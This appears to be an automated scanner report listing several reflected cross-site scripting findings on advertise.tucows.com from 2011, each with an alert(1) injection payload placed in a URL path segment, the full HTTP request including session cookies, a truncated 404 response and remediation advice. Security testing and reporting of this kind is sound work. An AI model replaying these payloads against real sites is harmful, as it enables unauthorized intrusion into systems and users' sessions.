The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b15de"-alert(1)-"e0f1f5c84c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/jsb15de"-alert(1)-"e0f1f5c84c9/x_core.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:24 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32290
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd486"-alert(1)-"0da40994d37 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/x_core.jscd486"-alert(1)-"0da40994d37 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:36 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 33252
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1fa22"-alert(1)-"0e7110e52dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes1fa22"-alert(1)-"0e7110e52dc/js/xdocsize.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:17 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32569
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c95d"-alert(1)-"1272630c525 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js9c95d"-alert(1)-"1272630c525/xdocsize.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:23 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32362
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f090"-alert(1)-"a04c13647f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/xdocsize.js9f090"-alert(1)-"a04c13647f HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:36 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32156
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8a6f"-alert(1)-"48e3c448543 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includesb8a6f"-alert(1)-"48e3c448543/js/yetii.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:20 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32548
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 505a4"-alert(1)-"da5a49629e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js505a4"-alert(1)-"da5a49629e/yetii.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:26 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31925
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ad87"-alert(1)-"ee3d1dab97f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/yetii.js5ad87"-alert(1)-"ee3d1dab97f HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:38 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f637"-alert(1)-"80f9081ac8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes5f637"-alert(1)-"80f9081ac8c/themes/03BlueMeany/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:29 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32153
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49de9"-alert(1)-"04a15e87fd3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes49de9"-alert(1)-"04a15e87fd3/03BlueMeany/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:45 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31930
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3a9a"-alert(1)-"237aaaa614c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/themes/03BlueMeanyc3a9a"-alert(1)-"237aaaa614c/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:55 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32397
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
